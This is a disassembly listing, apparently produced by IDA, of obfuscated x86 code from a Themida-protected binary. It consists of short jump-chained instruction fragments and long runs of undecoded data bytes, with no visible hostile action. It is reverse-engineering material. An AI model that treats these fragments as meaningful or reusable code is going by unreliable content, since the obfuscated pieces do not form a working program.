aBQ		db 'Å^Q',0
		db 51h,	5Bh, 0B9h
		dd 0BF1D9D52h, 6262E9h,	4EC8100h, 89000000h, 0E954242Ch
		dd 0FFFFC9DBh, 0E958C189h, 0FFFFC68Fh, 5C241487h, 4121E9h
		db 0
; ---------------------------------------------------------------------------


loc_557115:				; CODE XREF: Themida_:00551E2Cj
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		jmp	loc_55B574
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 7E1473B5h, 874DEB87h, 51D3F7EBh, 0A4720CB9h,	9AE98146h
		dd 81441043h, 253C0CC1h, 98C9812Bh, 8109D909h, 68A4EC1h
		dd 59CB31CAh, 1CE9D821h, 0B5000057h, 66E8002Fh,	51D80059h
		dd 0ED80B4B5h, 902E985h, 84680000h, 89000066h, 3568241Ch
		dd 89000012h, 0B7BD242Ch, 0C13F540Ch, 0F58103E5h, 0FAA06580h
		dd 0B5E9EB89h, 52000034h, 914EABAh, 5AD02965h, 48513E05h
		dd 0D814E92Dh, 34FFFFFFh, 0C4815924h, 4, 0FFA658E9h, 69E95FFFh
		dd 0BFFFFFC0h, 0DC34387h, 4247C29h, 5F2434FFh, 0FFB1F8E9h
		dd 14C781FFh, 2194F5A6h, 393BE9FAh, 0FD290000h,	4DC5815Fh
		dd 81019669h, 641BC7EDh, 0F9C58102h, 31CE01D9h,	0C6815DEEh
		dd 1A0F45F3h, 0DCB0F681h, 0F201BC73h, 0FFDF20E9h, 65BB53FFh
		dd 0C12C760Bh, 0E3C107EBh, 7EB85004h, 21652809h, 0C38158C3h
		dd 0FAF7FEA4h, 525BD801h, 0EE5D50BAh, 0B3BF5746h, 29557E12h
		dd 7DE95FFAh, 66FFFFDCh, 5624048Bh, 177068h, 24248900h
		dd 0FFC769E9h, 0C58166FFh, 5B661D31h, 48E95266h, 53FFFFC9h
		dd 0C380CDB3h, 0E2EB8001h, 0C058EB80h, 0E3C002EBh, 0A9F38005h
		dd 805BDE20h, 0DEF6C7EEh, 503BF680h, 637FE9h, 9DB85000h
		dd 55324531h, 0E252EA68h, 0E8315D7Fh, 68405Dh, 29000000h
		dd 0C1582404h, 0FF2D05E8h, 0E9FFFFFFh, 0FFFFC0B2h, 0E9DFF74Fh
		dd 0FFFFFF21h, 83242C8Bh, 0CD2904C4h, 5DEE3159h, 0E9247729h
		dd 0FFFFCDFBh, 8324048Bh, 0C28104C4h, 2, 0FFA87CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5572D9:				; CODE XREF: Themida_:00556F8Cj
		add	ebp, 4
		jmp	loc_55A9D7
; ---------------------------------------------------------------------------
		dd 0C3E9D501h, 50FFFFD3h, 0C288C888h, 0D7005958h, 5BF8005Ah
		dd 7E2CC800h, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C259
; ---------------------------------------------------------------------------
aWs		db 'Wé$,',0
		dd 4EC8300h, 0BA241489h, 3CBB7A15h, 148BD029h, 4C48124h
		dd 55000000h, 8904EC83h, 1BB82404h, 571D6F17h, 0A3559BFh
		dd 74BA5200h, 114A491h,	0B5055AD7h, 291E4129h, 5ADDE9F8h
		dd 7DBB0000h, 0E9130418h, 17C3h, 0D7F670B7h, 0D6F6F786h
		dd 0EF80F786h, 7EFC0FFh, 7EB15152h, 0FFFF6EE9h,	814949FFh
		dd 2D5FDBF1h, 8BCE2916h, 0C483240Ch, 54C68104h,	1415039h
		dd 5AB850C6h, 0E94A6042h, 3997h, 440667BBh, 0DCE95Dh, 0BE560000h
		dd 512E2C06h, 8104EEC1h, 0BD592FEEh, 0E1F68176h, 0E9136660h
		dd 5636h, 3070BE56h, 0C68117DAh, 2D6DE768h, 2EC5EA81h
		dd 0EA8108ACh, 6D183B8Eh, 0C281F229h, 6D183B8Eh, 803E9h
		dd 1C77FF00h, 6658669Dh, 9C240411h, 0FFA41CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5573F9:				; CODE XREF: Themida_:00557033j
		add	esp, 4
		mov	edx, ecx
		pop	ecx
		pop	esi
		pop	ebx


loc_557404:				; CODE XREF: Themida_:00552516j
					; Themida_:005589C5j
		push	1CA0h
		mov	[esp], ecx
		jmp	loc_55C6DF
; ---------------------------------------------------------------------------
aSsf		db 'SéF',0Ah,0
		dw 0FF00h
		dd 0DBE92434h, 52FFFFC1h, 3468E289h, 89000010h,	68E92404h
		dd 81000048h, 0D81F9BEAh, 0E9FA296Ch, 1595h
; ---------------------------------------------------------------------------


loc_55743C:				; CODE XREF: Themida_:005594F0j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		mov	ebp, 0C15144Eh
		jmp	loc_55AE8D
; ---------------------------------------------------------------------------
		dd 63EF815Eh, 89508C4Ah, 0F2095FFEh, 24CA815Eh,	8177221Dh
		dd 0D1ABAF2h, 0D789576Dh, 0E95FFD89h, 0FFFFB0BAh, 6FB268h
		dd 242C8900h, 2434FF54h, 0CC5AE95Dh, 5353FFFFh,	0C826CDBBh
		dd 245C2910h, 815D5B04h, 0C826CDC5h, 2434FF10h,	37BCE95Bh
		dd 148B0000h, 4C48324h,	5229C380h, 0D6F68BB6h, 0FFBA16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5574B5:				; CODE XREF: Themida_:00556779j
		xor	eax, edi
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4BF51B3Fh
		neg	edx
		neg	edx
		jmp	loc_55CF6E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 66C8305Ch, 68240C8Bh, 24DDh, 54243489h
		dd 8124348Bh, 4C4h, 4C68100h, 81000000h, 2C6h, 24348700h
		dd 6824248Bh, 184Ch, 0B2241489h, 1A36E9CDh, 89500000h
		dd 405E0h, 0C0830000h, 24048704h, 90EC805Ch, 317DE9h, 0C6015D00h
		dd 4EF1EE81h, 0EE813EC6h, 2D5E4A7Dh, 0E904EC83h, 0FFFFF846h
		dd 0F91EE95Eh, 0BE56FFFFh, 7B8D2ADDh, 0FFA8BAE9h, 81EB87FFh
		dd 0D13BA1C3h, 0B6EB8169h, 293D7C14h, 8CE95BD8h, 81FFFFD1h
		dd 0B0407CEFh, 5FFE8944h, 55EF001h, 4, 31240433h, 4332404h
		dd 27E95C24h, 0C1FFFFFCh, 0ED8103EDh, 92CE659Fh, 535DEE89h
		dd 4694CBBh, 53B9517Ah,	91BE91Dh, 0A31CE9CBh, 0CD81FFFFh
		dd 35903FA8h, 3FAEF581h, 0EE013598h, 74FF565Dh,	0E95E0424h
		dd 0FFFFF8B0h, 23E1C281h, 3C8B5DDAh, 0ABE95324h, 89FFFFF5h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2404895Ch, 4B8h
		dd 24440100h, 148B5804h, 0C9E95124h, 5E000048h,	737F68h
		dd 242C8900h, 3107B951h, 59E93988h, 51000022h, 8A33EEB9h
		dd 0E9D9F738h, 27E9h, 89241489h, 4C281E2h, 50000000h, 25D9BD55h
		dd 0E88975C9h, 0CCCE9h,	57E08900h, 6732E9h
		db 0
; ---------------------------------------------------------------------------


loc_557639:				; CODE XREF: Themida_:0055CC38j
		push	ecx
		mov	ecx, 89A7DDBh
		jmp	loc_5535AB
; ---------------------------------------------------------------------------


loc_557644:				; CODE XREF: Themida_:00557E49j
		push	ebx
		push	ecx
		mov	ecx, 7B772387h
		mov	ebx, 668C5C45h
		xor	ebx, ecx
		jmp	loc_55CE82
; ---------------------------------------------------------------------------
		db 52h
		dd 482AAEBAh, 2C815269h, 0EF6C1624h, 0FAE95958h, 59FFFFF8h
		dd 376FE9h, 73E95000h, 54000008h, 8124348Bh, 4C4h, 4C68100h
		dd 68000000h, 49E7h, 0E9240489h, 0FFFFF574h, 0C681DEF7h
		dd 3C9F0C75h, 348BF301h, 4C48124h, 83000000h, 1C8704EBh
		dd 24248B24h, 0FFEB70E9h, 0E3C380FFh, 0EB80D328h, 0FDE0E9E3h
		dd 0E950FFFFh, 0FFFFD41Bh, 53240489h, 2A98BA52h, 0D2F76CC0h
		dd 231F281h, 0A5E956FDh, 100003Ah, 5E042474h, 4C5815Dh
		dd 0E9000000h, 0FFFFA755h, 534AC181h, 0C1810D45h, 26977663h
		dd 0FFDDDCE9h, 3EEE81FFh, 0E98056DFh, 42C9h, 53240C89h
		dd 0B5B552B3h, 0FFEE8CE9h, 4C481FFh, 0E9000000h, 0FFFFA0F1h
; ---------------------------------------------------------------------------


loc_557724:				; CODE XREF: Themida_:00558C9Dj
		sub	al, cl
		jmp	loc_556F70
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 61E95300h, 87FFFFA6h, 33E92404h, 4B000004h, 2AE9434Bh
		dd 5D00002Eh, 0B0CE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55774E:				; CODE XREF: Themida_:00557FD7j
		xchg	edi, edx
		pop	edi
		inc	edx
		sub	esp, 4
		mov	[esp], ecx
		push	4A763C66h
		jmp	loc_552930
; ---------------------------------------------------------------------------
aLHom		db '‹<$h®m',0
		dd 24148900h, 0FFEAB8E9h, 2434FFFFh, 582434FFh,	815F5457h
		dd 4C7h, 4C78100h, 87000000h, 0C7E9243Ch, 68FFFFDCh, 2967h
		dd 0B9240C89h, 2, 3359CA01h, 14312414h,	24143324h, 48B665Ch
		dd 0B78AE924h, 5AE9FFFFh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577BB:				; CODE XREF: Themida_:005518F9j
		push	ecx
		mov	ecx, 66034DDBh
		add	ecx, 5A970719h
		sub	ecx, 47301B5h
		add	ecx, 0F5F5BE6h
		xor	ecx, 48AAC309h
		add	esi, ecx
		pop	ecx
		mov	edx, esi
		jmp	loc_553F09
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0A534E900h, 22E9FFFFh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577F3:				; CODE XREF: Themida_:00556A8Ej
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5525B8
; ---------------------------------------------------------------------------


loc_557814:				; CODE XREF: Themida_:0055C7EAj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559A5B
; ---------------------------------------------------------------------------
		db 55h
		dd 1A26E1BDh, 87B3BE29h, 0EE297880h, 24E94E5Dh,	66FFFFC3h
		dd 660A0A68h, 0E9240C89h, 0FFFFA370h, 0FB33E941h, 31ADFFFFh
		dd 565052D8h, 1871A4BEh, 0CB36B80Ch, 0F029837Bh, 3B2BE95Eh
		dd 355E0000h, 46B8040Ch, 46E9C601h, 4Ch, 0F50858E6h, 31DFE9h
		dd 0D4E95A00h, 29FFFFD9h, 55F82DD0h, 0E95A5C80h, 0FFFFFA91h
		dd 0C9FEDCB1h, 0F607E1C0h, 80D1F6D9h, 0E8E935C1h, 29FFFFE2h
		dd 2434FFCBh, 0E9240C8Bh, 0FFFFF42Fh, 0E58AF681h, 0F0017E8Eh
		dd 0AA3E9h, 0E3814300h,	519C228Bh, 0FF9F5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5578C5:				; CODE XREF: Themida_:00551CA6j
		add	eax, 75A24E8Ah
		jmp	loc_55B9A2
; ---------------------------------------------------------------------------
		db 0BAh
		dd 6D0B1FD7h, 48BC231h,	4C48124h, 1000000h, 0C1835AD1h
		dd 0E3895302h, 4C381h, 0EB830000h, 74FF5304h, 0E95B0424h
		dd 1B49h, 3304C383h, 1C31241Ch,	241C3324h, 0E924248Bh
		dd 4DF3h, 8B2434FFh, 0C4812434h, 4, 2104C483h, 0C2095BD8h
		dd 0EC81E2D1h, 4, 0FFA213E9h, 0E9C329FFh, 0FFFFBF40h, 1C6BF505h
		dd 38B95144h, 0E96CC339h, 0FFFFEB71h, 391FC581h, 81595778h
		dd 0F31E5BEDh, 8BEE29CDh, 0C483242Ch, 14BAE904h, 0C7010000h
		dd 8124048Bh, 4C4h, 2EFC100h, 0F781DFF7h, 0EB62DB61h, 1BE9F801h
		dd 5CFFFFA9h, 24148966h, 0D2F62FB2h, 0B450CAFEh, 19C480BEh
		dd 0F480CCFEh, 58E20879h, 0C01FE280h, 0EA8004E2h, 0C852E9E9h
		dd 0CD29FFFFh, 0FFBFF5E9h, 1CF766FFh, 5EE99C24h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579B7:				; CODE XREF: Themida_:00556EBEj
		mov	[esp], eax
		jmp	loc_55675C
; ---------------------------------------------------------------------------
		db 83h
		dd 6E904C2h, 0B4FFFFD0h, 0F2B1518Ch, 0E984C180h, 0FFFFA73Dh
		dd 3108BF57h, 38E97E62h, 21000055h, 2434FFD8h, 4C4815Bh
		dd 0B000000h, 20840FC0h, 68FFFFEAh, 0E10h, 68242C89h, 0FEh
		dd 1C6F215Dh, 0FFEA5EE9h, 4C483FFh, 405h, 2BF5700h, 0E9000000h
		dd 0FFFFD03Eh
; ---------------------------------------------------------------------------


loc_557A1C:				; CODE XREF: Themida_:005544F7j
		add	edx, ebx
		mov	eax, [edx]
		pop	edx
		jmp	loc_55D877
; ---------------------------------------------------------------------------
		dw 4401h
		dd 59580424h, 4C181h, 51570000h, 1B7782B9h, 4815176h, 12422B24h
		dd 0EF815F20h, 2012422Bh, 80EF8159h, 29761B77h,	58CBE9F9h
		dd 66530000h, 662A56BBh, 7B91CB81h, 31C38166h, 0DD0966A1h
		dd 344AE9h, 0DAB85000h,	0E92BE832h, 1CB5h, 6859E828h, 6D4Bh
		dd 52241C89h, 0DEF6B0B6h, 8882EE80h, 0EFC05AF7h, 0F92E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A96:				; CODE XREF: Themida_:00556FE6j
		sub	eax, 5575DF3Dh
		or	ebp, eax
		pop	eax
		add	ebp, 361F08AAh
		add	ebx, 1D2655Eh
		add	ebx, ebp
		jmp	loc_5544E2
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 5Eh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557AB7:				; CODE XREF: Themida_:0055AD63j
		pop	edi
		push	ecx
		jmp	loc_555D10
; ---------------------------------------------------------------------------


loc_557ABE:				; CODE XREF: Themida_:00551ABFj
		add	eax, 226850BEh
		sub	eax, ebp
		sub	eax, 226850BEh
		jmp	loc_553C86
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	1D44h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_556F8B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 670h, 89F38953h,	5E5B205Fh, 8124148Bh, 4C4h
		dd 21E66800h, 1C890000h, 18C16824h, 4890000h, 6A1CB824h
		dd 0C3897BE6h, 259CE9h,	24148900h, 2F1467BAh, 0E9D2F77Eh
		dd 0FFFFAD79h, 0FFC0B60Fh, 51528734h, 340BE9h, 0BB535E00h
		dd 73F36E80h, 46F0F381h, 0C381473Ch, 0CB30D794h, 575BDE01h
		dd 1E5EE953h, 895C0000h, 4832424h, 2C8B0424h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 4C581h, 0EC830000h
		dd 241C8904h, 5AADBE56h, 0F389027Eh, 68E94B5Eh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557BAB:				; CODE XREF: Themida_:00551FDBj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	bl, 43h
		jmp	loc_5537F2
; ---------------------------------------------------------------------------
		db 52h
		dd 0A11F1EBAh, 2C81523Bh, 77792924h, 0C181592Dh, 2D777929h
		dd 1F20BE5Ah, 0CE293BA1h, 5EF72959h, 0E9243C33h, 611Fh
		dd 2EC5C281h, 15E08ACh,	0D8C281C2h, 58454817h, 8B241487h
		dd 4082424h, 0AE99C24h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C0B:				; CODE XREF: Themida_:00559720j
		add	[esp+4], eax
		jmp	loc_55D7DE
; ---------------------------------------------------------------------------


loc_557C14:				; CODE XREF: Themida_:0055D12Ej
		push	edx
		mov	edx, esp
		jmp	loc_55D094
; ---------------------------------------------------------------------------
		dd 0B951E789h, 63F454B8h, 56A5F181h, 0F18159F5h, 66B248A7h
		dd 4104E1C1h, 0FFE6CEE9h, 4C381FFh, 53000000h, 42474FFh
		dd 24048F5Bh, 0E924248Bh, 0FFFFD558h, 0ADE95366h, 81FFFFDCh
		dd 4C7h, 4EF8300h, 2474FF57h, 48F5F04h,	0E9545C24h, 21C4h
		dd 5204C483h, 1FD3B850h, 50E96D0Bh, 5FFFFFFCh, 4C781h
		dd 39680000h, 89000036h, 2B9240Ch, 1000000h, 240C8BCFh
		dd 5E08950h, 4,	405h, 24048700h, 243C335Ch, 33243C31h
		dd 248B243Ch, 66F9F624h, 57CCB60Fh, 0FFF1D7E9h,	175EB9FFh
		dd 8FE90A5Dh, 81FFFFF6h, 0F8C352C7h, 60BE2DE7h,	0F82922C4h
		dd 0C460BE05h, 243C8B22h, 5DCE68h, 243C8900h, 0C7815F54h
		dd 4, 0E904C783h, 0FFFFAEA1h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 58542404h, 0FFEA73E9h,	0B2F681FFh
		dd 89786247h, 72E95EF1h, 5B00000Dh, 1B6F68h, 0FE0BE900h
		dd 2C89FFFFh, 2BD24h, 0EE010000h, 0FFA0F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557D3D:				; CODE XREF: Themida_:0055B82Aj
		push	edx
		jmp	loc_55D4FA
; ---------------------------------------------------------------------------
		db 54h
		dd 592434FFh, 0FFFF23E9h, 4BE56FFh, 81000000h, 546786C5h
		dd 57F5295Fh, 546786BFh, 0E9FD295Fh, 32DEh
; ---------------------------------------------------------------------------


loc_557D68:				; CODE XREF: Themida_:00559FEFj
		pop	eax
		jmp	loc_55BBD5
; ---------------------------------------------------------------------------
aZbq		db 'ZïÚ',0
		db 20h
		dd 0F7D7F73Dh, 0D0F781DFh, 17536C4h, 148B5F3Ah,	0E0895024h
		dd 405h, 0BB38E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D92:				; CODE XREF: Themida_:0055C2BBj
		add	bh, 60h
		mov	ch, 0DBh
		xor	ch, bh
		pop	ebx
		add	al, ch
		pop	ecx
		jmp	loc_55C1E6
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 0CFF9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557DAA:				; CODE XREF: Themida_:00556B46j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0B242085Dh
		add	edi, 5ECA3234h
		add	edi, ecx
		sub	edi, 5ECA3234h
		pop	ecx
		push	edi
		xor	dword ptr [esp], 1AF23CC6h
		pop	edx
		jmp	loc_556650
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0ACB65266h, 5A66F028h, 0E9241C8Bh, 0C7Ch, 33240431h
		dd 1EE92404h, 8BFFFFE2h, 0C4812414h, 4,	1457E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557DFE:				; CODE XREF: Themida_:00556DA6j
		pop	eax
		xor	ch, 1Ch
		jmp	loc_55B5FA
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C243Ch, 0FFFFAD17h, 2C7CE953h, 15F0000h,	5A0288CAh
		dd 3708E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557E22:				; CODE XREF: Themida_:0055CB3Dj
		pop	edx
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_55CCB4
; ---------------------------------------------------------------------------


loc_557E2D:				; CODE XREF: Themida_:00555611j
		mov	[esp], eax
		mov	eax, 259069A6h
		jmp	loc_557E4E
; ---------------------------------------------------------------------------


loc_557E3A:				; CODE XREF: Themida_:00554126j
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557644
; ---------------------------------------------------------------------------


loc_557E4E:				; CODE XREF: Themida_:00557E35j
		neg	eax
		sub	eax, 0DA6F9658h
		add	ecx, eax
		pop	eax
		jmp	loc_55AB87
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DD010000h, 242C335Bh, 33242C31h, 248B242Ch,	0E6895624h
		dd 0A4B1E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E7A:				; CODE XREF: Themida_:005541D4j
		pop	edx
		xor	esi, [esp]
		jmp	loc_55C870
; ---------------------------------------------------------------------------


loc_557E83:				; CODE XREF: Themida_:0055C68Dj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	62BAh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55B038
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 523FE9h, 24048300h
		dd 0D6D9E904h, 0C281FFFFh, 7CEAE2F3h, 0E95AD501h, 3937h
		dd 4C381h, 0EB830000h, 241C8704h, 2404895Ch, 24048B54h
		dd 0E780E957h, 4EB8FFFFh, 352B6428h, 0D4C5EA0h,	0FFAEAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557EF9:				; CODE XREF: Themida_:0055DA4Bj
		shl	ecx, 7
		jmp	loc_556645
; ---------------------------------------------------------------------------


loc_557F01:				; CODE XREF: Themida_:0055B17Fj
		not	ebp
		jmp	loc_551CA5
; ---------------------------------------------------------------------------
		dd 6ABF5750h, 0C148F610h, 0E78106EFh, 56553220h, 2EFC14Fh
		dd 74F1B850h, 8A250F9Eh, 2D5E9857h, 2B285595h, 0D0F7E0D1h
		dd 223A0A25h, 0D06B2D35h, 44E900ABh, 5BFFFFBCh,	0FFDD59E9h
		dd 0E9DD01FFh, 0FFFFAFA5h, 6866D830h, 89666BF4h, 4BB1240Ch
		dd 0F406E953h, 0FA01FFFFh, 2414335Fh, 0E9241431h, 0FFFFCD4Bh
		dd 5EF6BA52h, 57096326h, 0AAD5E924h, 1487FFFFh,	24248B24h
		dd 9C240430h, 0FF988CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557F89:				; CODE XREF: Themida_:005546CBj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55208D
; ---------------------------------------------------------------------------
aBitcc1syl	db 'ëTCç1éYL',0
		align 10h
		dd 1C8BD901h, 95AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FAA:				; CODE XREF: Themida_:0055D08Fj
		push	dword ptr [esp+4]
		jmp	loc_55DCC1
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2474FF56h, 48F5E04h,	14895C24h, 34FF5024h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 7E1571B9h
		push	edi
		mov	edi, 0
		sub	edi, edx
		jmp	loc_55774E
; ---------------------------------------------------------------------------


loc_557FDC:				; CODE XREF: Themida_:0055B6DFj
		xchg	ebp, [esp]
		jmp	loc_55A7E6
; ---------------------------------------------------------------------------
		dd 405E089h, 2D000000h,	4, 2828E9h, 86BB5300h, 0E93F7778h
		dd 1BBDh, 2543E95Eh, 0AE90000h,	0E9FFFF98h, 0FFFF9805h
		dd 23006851h, 28E90000h, 80FFFFD8h, 0CB003AE9h,	54535966h
		dd 5B2434FFh, 4C481h, 0BE560000h, 3C9F0C71h, 0FFF65BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558039:				; CODE XREF: Themida_:00555DC5j
		xor	dh, 76h
		jmp	loc_55BB5F
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5204C483h, 4D4A61BAh, 1C2814Dh, 52000000h, 0C281E289h
		dd 4, 4EA81h, 0E9520000h, 5C6Dh, 54243489h, 0E924348Bh
		dd 196Dh, 3362A1BBh, 5BD80178h,	0C8E9D829h, 0FFFFFFD6h
		dd 5B042474h, 0FFE7A9E9h, 1AFF68FFh, 1C890000h,	2434FF24h
		dd 0E924048Bh, 0FFFFA780h, 0C281E289h, 4, 1652E9h, 0B9515C00h
		dd 1B666AFDh, 21BF5755h, 0BD3C361Eh, 0D20A0683h, 4775C581h
		dd 0FD01678Dh, 0FFDF70E9h, 3EBC1FFh, 0FFF059E9h, 0DFC781FFh
		dd 8132CF7Fh, 9C6A33C7h, 0FFEF8343h, 3549BE56h,	0F731C830h
		dd 4CEB815Eh, 139C25Eh,	4CC381FBh, 8B39C25Eh, 0C481243Ch
		dd 4, 2B951h, 0CB290000h, 241C8759h, 0FFF86AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558115:				; CODE XREF: Themida_:00555D1Ej
		add	edx, 0BC8EE76Ch
		push	edx
		mov	edx, 4B053FC1h
		jmp	loc_555007
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 1C700305h, 2434FF60h, 4C4815Eh, 0E9000000h, 0FFFFBF3Dh
		dd 53515AB1h, 0F988D6B7h, 7A5E9h, 0C6E9C300h, 66FFFF96h
		dd 68240C8Bh, 3DF0h, 57240489h,	0FFFABBE9h, 32FF66FFh
		dd 0FF96ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558169:				; CODE XREF: Themida_:00552938j
		pop	ecx
		push	esi
		jmp	loc_558CE2
; ---------------------------------------------------------------------------
		dd 0FF96A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558175:				; CODE XREF: Themida_:00555B43j
		mov	edi, esp
		jmp	loc_5553B3
; ---------------------------------------------------------------------------
		dd 2C481h, 7B680000h, 89000023h, 5153240Ch, 88AFB353h
		dd 0A96EE9D9h, 489FFFFh, 0E6E95124h, 81FFFFF0h,	8121D6CBh
		dd 77E38123h, 813B276Fh, 0DADAAEC3h, 5BDE01C4h,	0E9243487h
		dd 131Ah, 148BD300h, 0E9545724h, 2028h,	9D1C77FFh, 1CD25966h
		dd 3EE99C24h, 53FFFF96h, 0C381E389h, 4,	4EB81h,	0E90000h
		dd 29000016h, 48759C8h,	34895C24h, 9BD1E924h, 5968FFFFh
		dd 89000052h, 0BF572424h, 4, 4247C01h, 81243C8Bh, 4C4h
		dd 24148B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 61134AD3h
		xor	eax, 11F9070Fh
		add	eax, 57CB1197h
		neg	eax
		neg	eax
		or	eax, 4CB6089Eh
		sub	eax, 0CCB75FFBh
		jmp	loc_55A958
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0F0B652B4h, 61E9DEF6h, 5FFFFCCh, 4, 42Dh, 0F4DDE900h
		dd 0C9BAFFFFh, 21365C71h, 26055AD0h, 0E90806A9h, 0FFFFF6F6h
		dd 2850F680h, 0C217E9F3h, 8166FFFFh, 0E9F441F6h, 4588h
		dd 8EE9028Fh, 0F7FFFF95h, 68D7F7DFh, 70E3h, 453FE9h
		db 0
; ---------------------------------------------------------------------------


loc_558295:				; CODE XREF: Themida_:005557A7j
		pop	esp
		mov	[esp], esi
		mov	esi, 20000h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	0E1Dh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_556C39
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0E3h
		dd 53FFFFC8h, 7768DBBBh, 5BD93171h, 0C107E9C1h,	0E98103E1h
		dd 0F7A9AC6Ch, 176DE957h, 0E9520000h, 0FFFFDA1Eh, 0E9242489h
		dd 35F2h
; ---------------------------------------------------------------------------


loc_5582E8:				; CODE XREF: Themida_:0055530Cj
		add	ebp, 4
		push	ebx
		push	eax
		mov	eax, 738F0D58h
		mov	ebx, eax
		pop	eax
		jmp	loc_55B957
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 81E78957h, 4C7h, 4C78300h, 0FFDFBAE9h, 0FFD101FFh, 0E95A2434h
		dd 1DFEh, 21956853h, 435B3083h,	41AAC381h, 0D3F72D54h
		dd 0B51BC381h, 8153BCADh, 515E242Ch, 4E95100h, 6800001Fh
		dd 2933h, 81241C89h, 4ECh, 243C8900h, 4DBD5556h, 0E97B777Dh
		dd 0FFFFB95Ch, 2404875Eh, 2434FF5Ch, 8124048Bh,	4C4h, 6C276800h
		dd 34890000h, 1FE86824h, 24890000h, 24048124h, 4, 8124348Bh
		dd 4C4h, 0FBE95500h, 81000052h,	3108CC6h, 0EE835F7Bh, 0AC31E904h
		dd 1487FFFFh, 6AE95C24h, 81FFFF94h, 0DC22CDEFh,	5FF90940h
		dd 0EC81D9F7h, 4, 0BE243489h, 332962A8h, 0E907E6C1h, 0FFFFF335h
; ---------------------------------------------------------------------------


loc_5583CC:				; CODE XREF: Themida_:005552A8j
		mov	[esp], ecx
		push	edi
		push	4A921684h
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 7
		and	edi, 359F0D3Eh
		inc	edi
		jmp	loc_55D18E
; ---------------------------------------------------------------------------
		db 29h,	44h, 24h
		dd 2915E908h, 14330000h, 24143124h, 8B241433h, 48B2424h
